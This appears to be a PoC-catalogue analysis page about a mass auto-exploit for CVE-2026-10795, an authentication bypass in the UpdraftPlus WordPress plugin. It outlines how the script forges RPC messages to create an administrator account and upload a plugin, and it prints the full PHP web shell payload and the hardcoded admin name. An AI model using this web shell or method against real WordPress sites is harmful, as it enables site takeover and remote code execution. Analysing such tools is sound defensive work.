webshellseo8/CVE-2026-10795-POC

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python 3 script that exploits CVE-2026-10795 (authentication bypass in UpdraftPlus) to create an administrator account, upload a malicious plugin containing a web shell, and activate it, achieving remote code execution on vulnerable WordPress sites.

Backdoor review

No backdoor observed in reviewed code

The PoC is a mass scanner and auto-exploit for CVE-2026-10795. It exploits an authentication bypass in the UpdraftPlus WordPress plugin to create an administrator account and upload a webshell. All actions are consistent with the disclosed exploit and the tool's documented purpose. No concealed, unrelated, or misrepresented harmful behavior was found.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPython
Target softwareUpdraftPlus WordPress plugin
Attack typesauthentication bypassremote code executionwebshell upload
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits the vulnerability by forging RPC messages to create an admin user, upload a web shell plugin, and activate it, resulting in remote code execution. It does not merely detect or report the vulnerability.

CVE-2026-10795-mass.py:1-5CVE-2026-10795-mass.py:170-224

Requirements

  • A list of target URLs in a file (targets.txt).CVE-2026-10795-mass.py:229-236
  • Python 3 with requests, pycryptodome, colorama, and urllib3 libraries.CVE-2026-10795-mass.py:10-28

Observed behavior

  • Sends a forged RPC message to the target's admin-ajax.php endpoint using a zeroed AES key to bypass signature verification.CVE-2026-10795-mass.py:98-125
  • Creates a new administrator user named 'WebshellRS' on the target WordPress site via the 'users.add_user' RPC command.CVE-2026-10795-mass.py:138-150
  • Generates a malicious WordPress plugin ZIP containing a PHP web shell with file upload capability.CVE-2026-10795-mass.py:63-77
  • Uploads the malicious plugin via the 'plugin.upload_plugin' RPC command and activates it via 'plugin.activate_plugin'.CVE-2026-10795-mass.py:153-167
  • Saves the created admin credentials to 'admins.txt' and the web shell URL to 'uploaders.txt'.CVE-2026-10795-mass.py:200-224
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Webshell
<?php ... echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){{if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){{echo 'OK';}}else{{echo 'ER';}}}}?>This is the PHP webshell uploaded to the target as part of the disclosed exploit. It provides a file upload form and is the intended RCE payload.CVE-2026-10795-mass.py:65-73
Admin Credentials
ADMIN_USER = "WebshellRS"The PoC creates a hardcoded administrator account on the target. This is the disclosed privilege escalation step of the exploit.CVE-2026-10795-mass.py:47
Contact Information
Telegram: https://t.me/WebshellSRThe PoC includes contact information for the authors, which is displayed in the banner and embedded in the uploaded webshell. This is not a backdoor indicator.CVE-2026-10795-mass.py:6-7CVE-2026-10795-mass.py:51
Review boundaries

What the analysis did not establish

  • The evidence is limited to the source code and README; no runtime output, network captures, or target interaction logs are provided.
  • The artifact's behavior is inferred from static analysis of the Python script; no dynamic execution or verification was performed.
  • The review is limited to the two provided text files. No external dependencies or network behavior at runtime were analyzed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1